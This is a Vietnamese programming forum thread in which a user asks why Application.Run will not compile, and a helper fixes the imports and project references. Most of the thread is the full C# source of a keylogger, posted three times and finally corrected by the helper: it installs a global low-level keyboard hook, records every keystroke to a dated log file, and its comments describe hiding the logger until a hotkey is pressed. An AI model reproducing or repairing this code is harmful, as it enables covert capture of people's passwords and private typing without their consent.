01/10/2018, 08:29

Mọi người hãy giải thích dùm mình lỗi này, sao chữ Run đó lại k chạy?

Huy viết 10:41 ngày 01/10/2018

@ltd
giải thích dùm em cái T_T

Tran Xuan Son viết 10:37 ngày 01/10/2018

Import sai thì phải Theo mình đoán thì bạn muốn chạy hàm Run của class System.Windows.Forms.Application còn trong hình thì là của thằng MediaTypeName gì đấy

Huy viết 10:42 ngày 01/10/2018

@sontx Thế h sửa lại là sao bạn ?

Tran Xuan Son viết 10:39 ngày 01/10/2018

Thay cái import MediaTypeNames bằng System.Windows.Forms thử xem

Huy viết 10:41 ngày 01/10/2018

mình đâu có câu lệnh nào tên là impor MediaTyleNames đâu

Huy viết 10:41 ngày 01/10/2018

K đc bạn nhé, cũng bị lỗi như thường T_T

Tran Xuan Son viết 10:42 ngày 01/10/2018

Up hết code trong file đó lên đây mình xem thử
À, full của cái import đó là System.Net.Mime.MediaTypeNames

Huy viết 10:34 ngày 01/10/2018

chờ mình xíu
có cần đưa bạn cái code đó k ?

Huy viết 10:42 ngày 01/10/2018

#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero; 

    private static string logName = "Log_";
    private static string logExtendtion = ".txt";

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    /// <summary>
    /// Delegate a LowLevelKeyboardProc to use user32.dll
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private delegate IntPtr LowLevelKeyboardProc(
    int nCode, IntPtr wParam, IntPtr lParam);

    /// <summary>
    /// Set hook into all current process
    /// </summary>
    /// <param name="proc"></param>
    /// <returns></returns>
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        {
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
            }
        }
    }

    /// <summary>
    /// Every time the OS call back pressed key. Catch them 
    /// then cal the CallNextHookEx to wait for the next key
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);

            WriteLog(vkCode);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    /// <summary>
    /// Write pressed key into log.txt file
    /// </summary>
    /// <param name="vkCode"></param>
    static void WriteLog(int vkCode)
    {
        Console.WriteLine((Keys)vkCode);
        string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
        StreamWriter sw = new StreamWriter(logNameToWrite, true);
        sw.Write((Keys)vkCode);
        sw.Close();
    }
   
    /// <summary>
    /// Start hook key board and hide the key logger
    /// Key logger only show again if pressed right Hot key
    /// </summary>
    static void HookKeyboard()
    {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }
    #endregion      
   
    
    static void Main(string[] args)
    {
        HookKeyboard();
    }
}

}

Tran Xuan Son viết 10:36 ngày 01/10/2018

Ctrl + A rồi paste tồn bộ code của file này lên luôn bạn ơi

Huy viết 10:30 ngày 01/10/2018

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using static System.Net.Mime.MediaTypeNames;

namespace Gift_dung
{
class Program
{
#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    private static string logName = "Log_";
    private static string logExtendtion = ".txt";

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    /// <summary>
    /// Delegate a LowLevelKeyboardProc to use user32.dll
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private delegate IntPtr LowLevelKeyboardProc(
    int nCode, IntPtr wParam, IntPtr lParam);

    /// <summary>
    /// Set hook into all current process
    /// </summary>
    /// <param name="proc"></param>
    /// <returns></returns>
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        {
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
            }
        }
    }

    /// <summary>
    /// Every time the OS call back pressed key. Catch them 
    /// then cal the CallNextHookEx to wait for the next key
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);

            WriteLog(vkCode);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    /// <summary>
    /// Write pressed key into log.txt file
    /// </summary>
    /// <param name="vkCode"></param>
    static void WriteLog(int vkCode)
    {
        Console.WriteLine((Keys)vkCode);
        string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
        StreamWriter sw = new StreamWriter(logNameToWrite, true);
        sw.Write((Keys)vkCode);
        sw.Close();
    }

    /// <summary>
    /// Start hook key board and hide the key logger
    /// Key logger only show again if pressed right Hot key
    /// </summary>
    static void HookKeyboard()
    {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }
    #endregion


    static void Main(string[] args)
    {
        HookKeyboard();
       
    }
}

}

Tran Xuan Son viết 10:37 ngày 01/10/2018

using static System.Net.Mime.MediaTypeNames;

Ơi trời, đây rồi thay ở dòng thứ 5 từ trên xuống nhé bạn

Huy viết 10:36 ngày 01/10/2018

chỗ đó hả

Huy viết 10:30 ngày 01/10/2018

Có đc đâu bạn ơi ???

Tran Xuan Son viết 10:35 ngày 01/10/2018

Thay chổ đó bằng import System.Windows.Forms;

Huy viết 10:33 ngày 01/10/2018

Vẫn Còn Lỗi Mà T_T T_T T_T

Tran Xuan Son viết 10:39 ngày 01/10/2018
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Gift_dung
{
class Program
{
#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    private static string logName = "Log_";
    private static string logExtendtion = ".txt";

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    /// <summary>
    /// Delegate a LowLevelKeyboardProc to use user32.dll
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private delegate IntPtr LowLevelKeyboardProc(
    int nCode, IntPtr wParam, IntPtr lParam);

    /// <summary>
    /// Set hook into all current process
    /// </summary>
    /// <param name="proc"></param>
    /// <returns></returns>
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        {
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
            }
        }
    }

    /// <summary>
    /// Every time the OS call back pressed key. Catch them 
    /// then cal the CallNextHookEx to wait for the next key
    /// </summary>
    /// <param name="nCode"></param>
    /// <param name="wParam"></param>
    /// <param name="lParam"></param>
    /// <returns></returns>
    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);

            WriteLog(vkCode);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    /// <summary>
    /// Write pressed key into log.txt file
    /// </summary>
    /// <param name="vkCode"></param>
    static void WriteLog(int vkCode)
    {
        Console.WriteLine((Keys)vkCode);
        string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
        StreamWriter sw = new StreamWriter(logNameToWrite, true);
        sw.Write((Keys)vkCode);
        sw.Close();
    }

    /// <summary>
    /// Start hook key board and hide the key logger
    /// Key logger only show again if pressed right Hot key
    /// </summary>
    static void HookKeyboard()
    {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }
    #endregion


    static void Main(string[] args)
    {
        HookKeyboard();
       
    }
}

Copy and paste thử xem

Huy viết 10:35 ngày 01/10/2018

Do mình hết lượt nhắn tim rồi chờ 22h @_@

Tran Xuan Son viết 10:35 ngày 01/10/2018

Bạn chưa add reference Forms vào project rồi dự là bạn tạo console project nên sẽ Visual Studio sẽ không add cái Forms vô cho bạn, bạn phải tự add bằng cách: click chuột phải vào References -> Add reference… sau đó search cái Forms đó mà add vào

*grab popcorn* viết 10:41 ngày 01/10/2018

Merge 2 topic

Bài liên quan
0